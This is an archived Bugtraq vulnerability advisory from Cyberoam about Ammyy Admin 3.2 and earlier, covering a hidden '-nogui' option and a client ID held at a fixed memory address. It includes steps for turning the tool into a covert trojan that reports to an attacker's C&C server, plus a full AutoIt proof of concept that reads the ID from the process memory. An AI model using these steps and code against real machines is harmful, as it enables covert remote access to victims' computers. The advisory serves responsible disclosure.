Ammyy Admin - Hidden hard-coded option and Access Control- vulnerability.

From: bhadresh.k.patel@cyberoam.com
To: bugtraq@securityfocus.com
Cc:
Subject: Ammyy Admin - Hidden hard-coded option and Access Control- vulnerability.
Date:


Title:
====
Ammyy Admin - Hidden hard-coded option and Access Control vulnerability.

Credit:
======
Name: Bhadresh Patel
Company/affiliation: Cyberoam Technologies Private Limited
Website: www.cyberoam.com

CVE:
====
- CVE-2013-5581 for hidden hard-coded option (CWE-255).
- CVE-2013-5582 for failure to enforce access restrictions for resources (CWE-264).

Date:
====
17-01-2014


CL-ID: 
====
CRD-2013-04 

Vendor:
======
Ammyy is in to developing cutting edge internet solutions. They have researched informational technologies and automation management of remote computer access services for many years. The result of their efforts is new Remote Access system "Ammyy Admin".

Product:
=======
Ammyy Admin is the easiest way to establish remote desktop connection. You can easily share a remote desktop or control a server over the Internet with Ammyy Admin. 
No matter where you are, Ammyy Admin makes it safe and easy to quickly access a remote desktop within a few seconds.
Ammyy Admin is trusted by more than 21 000 000 personal and corporate users.
Product link: http://www.ammyy.com/en/downloads.html 

Abstract:
======= 
Cyberoam Threat Research Labs discovered Hidden option and Access Control vulnerability in Ammyy Admin tool.


Report-Timeline (DD-MM-YYYY):
====================
12-08-2013: Vendor notification
13-08-2013: Vendor Response/Feedback
13-12-2013: Vendor Fix/Patch
17-01-2014: Public or Non-Public Disclosure 

Affected Version:
=============
Version (<=3.2)

Exploitation-Technique:
===================
Local

Severity Rating:
===================
CVSS Base Score 7.2 (AV:N/AC:M/Au:N/C:N/I:N/A:P)

Details:
=======
There is a Hidden option and Access Control vulnerability in Ammyy Admin tool which allows an attacker to utilize "Ammyy Admin tool" as a trojan horse to access computer without victim's information.
An approach to have hidden option "-nogui" along with storing "client ID" at fixed memory location could be exploited by an attacker to use "Ammyy Admin" as a trojan horse.

Proof Of Concept:
================
An attacker could exploit above vulnerabilities using following steps,

1) Create custom settings.rdp and settings3.bin to allow access to any "computer ID" with predefined password.
2) Use hidden option "-nogui" to run "Ammyy Amin" without the user information.
2) Acquire the client id by reading memory location "004A3658".
3) Send client id to attackers C&C server.

-------- Logs -------

###### Hidden hard-coded option (CVE-2013-5581) ######

root@bhdresh:~# strings AA_v3.2.exe | grep -i ^"-"
-f=*
- 5H
-connect
-set_proxy_
-dosas_
-elevated
-log
-lunch
-nogui
-service
-debug
-remove
-install
-outid
-setsettings
-rstid
-showversion
-notstartclient
-startclient
-minimize
-+/3


#### client ID at Fixed memory location (CVE-2013-5582) ####

=======PoC screenshot=======

http://oi42.tinypic.com/34owtoy.jpg


=======PoC autoit code to hijack client ID=======

Func _memoryopen($iv_pid, $iv_desiredaccess = 2035711, $iv_inherithandle = 1)
   If NOT ProcessExists($iv_pid) Then
         SetError(1)
                Return 0
   EndIf
      Local $ah_handle[2] = [DllOpen("kernel32.dll")]
  If @error Then
             SetError(2)
                Return 0
   EndIf
      Local $av_openprocess = DllCall($ah_handle[0], "int", "OpenProcess", "int", $iv_desiredaccess, "int", $iv_inherithandle, "int", $iv_pid)
 If @error Then
             DllClose($ah_handle[0])
            SetError(3)
                Return 0
   EndIf
      $ah_handle[1] = $av_openprocess[0]
 Return $ah_handle
EndFunc

Func _memoryread($iv_address, $ah_handle, $sv_type = "dword")
     If NOT IsArray($ah_handle) Then
            SetError(1)
                Return 0
   EndIf
      Local $v_buffer = DllStructCreate($sv_type)
        If @error Then
             SetError(@error + 1)
               Return 0
   EndIf
      DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
     If NOT @error Then
         Local $v_value = DllStructGetData($v_buffer, 1)
            Return $v_value
    Else
               SetError(6)
                Return 0
   EndIf
EndFunc

Func _memorywrite($iv_address, $ah_handle, $v_data, $sv_type = "dword")
       If NOT IsArray($ah_handle) Then
            SetError(1)
                Return 0
   EndIf
      Local $v_buffer = DllStructCreate($sv_type)
        If @error Then
             SetError(@error + 1)
               Return 0
   Else
               DllStructSetData($v_buffer, 1, $v_data)
            If @error Then
                     SetError(6)
                        Return 0
           EndIf
      EndIf
      DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
    If NOT @error Then
         Return 1
   Else
               SetError(7)
                Return 0
   EndIf
EndFunc

Func _memoryclose($ah_handle)
   If NOT IsArray($ah_handle) Then
            SetError(1)
                Return 0
   EndIf
      DllCall($ah_handle[0], "int", "CloseHandle", "int", $ah_handle[1])
   If NOT @error Then
         DllClose($ah_handle[0])
            Return 1
   Else
               DllClose($ah_handle[0])
            SetError(2)
                Return 0
   EndIf
EndFunc

Func setprivilege($privilege, $benable)
 Const $token_adjust_privileges = 32
        Const $token_query = 8
     Const $se_privilege_enabled = 2
    Local $htoken, $sp_auxret, $sp_ret, $hcurrprocess, $ntokens, $ntokenindex, $priv
   $ntokens = 1
       $luid = DllStructCreate("dword;int")
     If IsArray($privilege) Then $ntokens = UBound($privilege)
  $token_privileges = DllStructCreate("dword;dword[" & (3 * $ntokens) & "]")
   $newtoken_privileges = DllStructCreate("dword;dword[" & (3 * $ntokens) & "]")
        $hcurrprocess = DllCall("kernel32.dll", "hwnd", "GetCurrentProcess")
 $sp_auxret = DllCall("advapi32.dll", "int", "OpenProcessToken", "hwnd", $hcurrprocess[0], "int", BitOR($token_adjust_privileges, $token_query), "int*", 0)
     If $sp_auxret[0] Then
              $htoken = $sp_auxret[3]
            DllStructSetData($token_privileges, 1, 1)
          $ntokenindex = 1
           While $ntokenindex <= $ntokens
                        If IsArray($privilege) Then
                                $priv = $privilege[$ntokenindex - 1]
                       Else
                               $priv = $privilege
                 EndIf
                      $ret = DllCall("advapi32.dll", "int", "LookupPrivilegeValue", "str", "", "str", $priv, "ptr", DllStructGetPtr($luid))
                        If $ret[0] Then
                            If $benable Then
                                   DllStructSetData($token_privileges, 2, $se_privilege_enabled, (3 * $ntokenindex))
                          Else
                                       DllStructSetData($token_privileges, 2, 0, (3 * $ntokenindex))
                              EndIf
                              DllStructSetData($token_privileges, 2, DllStructGetData($luid, 1), (3 * ($ntokenindex - 1)) + 1)
                           DllStructSetData($token_privileges, 2, DllStructGetData($luid, 2), (3 * ($ntokenindex - 1)) + 2)
                           DllStructSetData($luid, 1, 0)
                              DllStructSetData($luid, 2, 0)
                      EndIf
                      $ntokenindex += 1
          WEnd
               $ret = DllCall("advapi32.dll", "int", "AdjustTokenPrivileges", "hwnd", $htoken, "int", 0, "ptr", DllStructGetPtr($token_privileges), "int", DllStructGetSize($newtoken_privileges), "ptr", DllStructGetPtr($newtoken_privileges), "int*", 0)
             $f = DllCall("kernel32.dll", "int", "GetLastError")
  EndIf
      $newtoken_privileges = 0
   $token_privileges = 0
      $luid = 0
  If $sp_auxret[0] = 0 Then Return 0
 $sp_auxret = DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $htoken)
        If NOT $ret[0] AND NOT $sp_auxret[0] Then Return 0
 Return $ret[0]
EndFunc

Func _memorypointerread($iv_address, $ah_handle, $av_offset, $sv_type = "dword")
     If IsArray($av_offset) Then
                If IsArray($ah_handle) Then
                        Local $iv_pointercount = UBound($av_offset) - 1
            Else
                       SetError(2)
                        Return 0
           EndIf
      Else
               SetError(1)
                Return 0
   EndIf
      Local $iv_data[2], $i
      Local $v_buffer = DllStructCreate("dword")
       For $i = 0 To $iv_pointercount
             If $i = $iv_pointercount Then
                      $v_buffer = DllStructCreate($sv_type)
                      If @error Then
                             SetError(@error + 2)
                               Return 0
                   EndIf
                      $iv_address = "0x" & Hex($iv_data[1] + $av_offset[$i])
                      DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
                     If @error Then
                             SetError(7)
                                Return 0
                   EndIf
                      $iv_data[1] = DllStructGetData($v_buffer, 1)
               ElseIf $i = 0 Then
                 DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
                     If @error Then
                             SetError(7)
                                Return 0
                   EndIf
                      $iv_data[1] = DllStructGetData($v_buffer, 1)
               Else
                       $iv_address = "0x" & Hex($iv_data[1] + $av_offset[$i])
                      DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
                     If @error Then
                             SetError(7)
                                Return 0
                   EndIf
                      $iv_data[1] = DllStructGetData($v_buffer, 1)
               EndIf
      Next
       $iv_data[0] = $iv_address
  Return $iv_data
EndFunc

Func _memorypointerwrite($iv_address, $ah_handle, $av_offset, $v_data, $sv_type = "dword")
  If IsArray($av_offset) Then
                If IsArray($ah_handle) Then
                        Local $iv_pointercount = UBound($av_offset) - 1
            Else
                       SetError(2)
                        Return 0
           EndIf
      Else
               SetError(1)
                Return 0
   EndIf
      Local $iv_structdata, $i
   Local $v_buffer = DllStructCreate("dword")
       For $i = 0 To $iv_pointercount
             If $i = $iv_pointercount Then
                      $v_buffer = DllStructCreate($sv_type)
                      If @error Then
                             SetError(@error + 3)
                               Return 0
                   EndIf
                      DllStructSetData($v_buffer, 1, $v_data)
                    If @error Then
                             SetError(8)
                                Return 0
                   EndIf
                      $iv_address = "0x" & Hex($iv_structdata + $av_offset[$i])
                   DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
                    If @error Then
                             SetError(9)
                                Return 0
                   Else
                               Return $iv_address
                 EndIf
              ElseIf $i = 0 Then
                 DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
                     If @error Then
                             SetError(3)
                                Return 0
                   EndIf
                      $iv_structdata = DllStructGetData($v_buffer, 1)
            Else
                       $iv_address = "0x" & Hex($iv_structdata + $av_offset[$i])
                   DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
                     If @error Then
                             SetError(3)
                                Return 0
                   EndIf
                      $iv_structdata = DllStructGetData($v_buffer, 1)
            EndIf
      Next
EndFunc

Func _memorygetbaseaddress($ah_handle, $ihexdec = 0)
     Local $iv_address = 1048576
        Local $v_buffer = DllStructCreate("dword;dword;dword;dword;dword;dword;dword")
   Local $vdata
       Local $vtype
       If NOT IsArray($ah_handle) Then
            SetError(1)
                Return 0
   EndIf
      DllCall($ah_handle[0], "int", "VirtualQueryEx", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer))
       If NOT @error Then
         $vdata = Hex(DllStructGetData($v_buffer, 2))
               $vtype = Hex(DllStructGetData($v_buffer, 3))
               While $vtype <> "00000080"
                     DllCall($ah_handle[0], "int", "VirtualQueryEx", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer))
                       $vdata = Hex(DllStructGetData($v_buffer, 2))
                       $vtype = Hex(DllStructGetData($v_buffer, 3))
                       If Hex($iv_address) = "01000000" Then ExitLoop 
                  $iv_address += 65536
               WEnd
               If $vtype = "00000080" Then
                      SetError(0)
                        If $ihexdec = 1 Then
                               Return Dec($vdata)
                 Else
                               Return $vdata
                      EndIf
              Else
                       SetError(2)
                        Return 0
           EndIf
      Else
               SetError(3)
                Return 0
   EndIf
EndFunc

Func _memorymodulegetbaseaddress($ipid, $smodule)
       If NOT ProcessExists($ipid) Then Return SetError(1, 0, 0)
  If NOT IsString($smodule) Then Return SetError(2, 0, 0)
    Local $psapi = DllOpen("psapi.dll")
      Local $hprocess
    Local $permission = BitOR(2, 1024, 8, 16, 32)
      If $ipid > 0 Then
             Local $hprocess = DllCall("kernel32.dll", "ptr", "OpenProcess", "dword", $permission, "int", 0, "dword", $ipid)
                If $hprocess[0] Then
                       $hprocess = $hprocess[0]
           EndIf
      EndIf
      Local $modules = DllStructCreate("ptr[1024]")
    Local $acall = DllCall($psapi, "int", "EnumProcessModules", "ptr", $hprocess, "ptr", DllStructGetPtr($modules), "dword", DllStructGetSize($modules), "dword*", 0)
      If $acall[4] > 0 Then
         Local $imodnum = $acall[4] / 4
             Local $atemp
               For $i = 1 To $imodnum
                     $atemp = DllCall($psapi, "dword", "GetModuleBaseNameW", "ptr", $hprocess, "ptr", Ptr(DllStructGetData($modules, 1, $i)), "wstr", "", "dword", 260)
                   If $atemp[3] = $smodule Then
                               DllClose($psapi)
                           Return Ptr(DllStructGetData($modules, 1, $i))
                      EndIf
              Next
       EndIf
      DllClose($psapi)
   Return SetError(-1, 0, 0)
EndFunc

#EndRegion

Func _memreaddll($dll, $offset, $ah_handle, $sv_type = "dword")
       $staticoffset = Dec($offset)
       $baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)
  $finaladdr = "0x" & Hex($baseaddr + $staticoffset)
  $memtest = _memoryread($finaladdr, $ah_handle, $sv_type)
   Return $memtest
EndFunc

Func _memwritedll($dll, $offset, $value, $ah_handle, $sv_type = "dword")
    $staticoffset = Dec($offset)
       $baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)
  $finaladdr = "0x" & Hex($baseaddr + $staticoffset)
  $memtest = _memorywrite($finaladdr, $ah_handle, $value, $sv_type)
  Return $memtest
EndFunc

Func _memwritedllbytearray($dll, $offset, $ah_handle, $v_array)
       Local $staticoffset = Dec($offset)
 Local $baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)
    Local $finaladdr = "0x" & Hex($baseaddr + $staticoffset)
    Local $memtest = _memorywritebytearray($finaladdr, $ah_handle, $v_array)
   Return $memtest
EndFunc

Func _memorywritebytearray($iv_address, $ah_handle, $v_array)
 If NOT IsArray($ah_handle) Then
            SetError(1)
                Return 0
   EndIf
      If NOT IsArray($v_array) Then
              Return 0
   EndIf
      Local $emax = UBound($v_array)
     Local $bytestring = ""
   For $i = 0 To $emax - 1
            $bytestring = $bytestring & "byte;"
 Next
       Local $v_buffer = DllStructCreate($bytestring)
     If @error Then
             Return 0
   Else
               For $i = 1 To $emax
                        DllStructSetData($v_buffer, $i, $v_array[$i - 1])
                  If @error Then
                             Return 0
                   EndIf
              Next
       EndIf
      DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
    If NOT @error Then
         Return 1
   Else
               SetError(7)
                Return 0
   EndIf
EndFunc

FileChangeDir(@TempDir)
FileDelete("id")
$id = ProcessExists("AAv3.exe")
Local $file = FileOpen("id", 1)
$memoryopen = _memoryopen($id)
While 1
       $mem_read1 = _memoryread("0x" & "004A3658", $memoryopen)
  If NOT $mem_read1 = "" Then
              MsgBox(0, "Cyberoam Threat Research Labs", $mem_read1)
           FileWrite($file, $mem_read1)
               ExitLoop 
  EndIf
      Sleep(100)
WEnd
_memoryclose($memoryopen)

==========================================
-------------------------- 

Caveats / Prerequisites:
======================
The attacker needs to entice victims to perform an action in order to exploit this vulnerability.


Risk:
=====

The security risk of Hidden option and Access Control vulnerability is estimated as High.

Credits:
=======
Cyberoam Threat Research Labs - Bhadresh Patel

Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Any modified copy or reproduction, including partially usages, of this file requires authorization from Cyberoam Threat Research Labs. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Cyberoam Threat Research Labs.

The first attempt at contact will be through any appropriate contacts or formal mechanisms listed on the vendor Web site, or by sending an e-mail with the pertinent information about the vulnerability. Simultaneous with the vendor being notified, Cyberoam may distribute vulnerability protection filters to its customers' IPS devices through the IPS upgrades. 
If a vendor fails to respond after five business days, Cyberoam Threat Research Labs may issue a public advisory disclosing its findings fifteen business days after the initial contact.

If a vendor response is received within the timeframe outlined above, Cyberoam Threat Research Labs will allow the vendor 6-months to address the vulnerability with a patch. At the end of the deadline if a vendor is not responsive or unable to provide a reasonable statement as to why the vulnerability is not fixed, the Cyberoam Threat Research Labs will publish a limited advisory to enable the defensive community to protect the user. We believe that by doing so the vendor will understand the responsibility they have to their customers and will react appropriately.
Cyberoam Threat Research Labs will make every effort to work with vendors to ensure they understand the technical details and severity of a reported security flaw. If a product vendor is unable to, or chooses not to, patch a particular security flaw, Cyberoam Threat Research Labs will offer to work with that vendor to publicly disclose the flaw with some effective workarounds.
Before public disclosure of a vulnerability, Cyberoam Threat Research Labs may share technical details of the vulnerability with other security vendors who are in a position to provide a protective response to a broader user base.
-------------------------------------------------------------------------------------------------------





Copyright © 1995-2018 LinuxRocket.net. All rights reserved.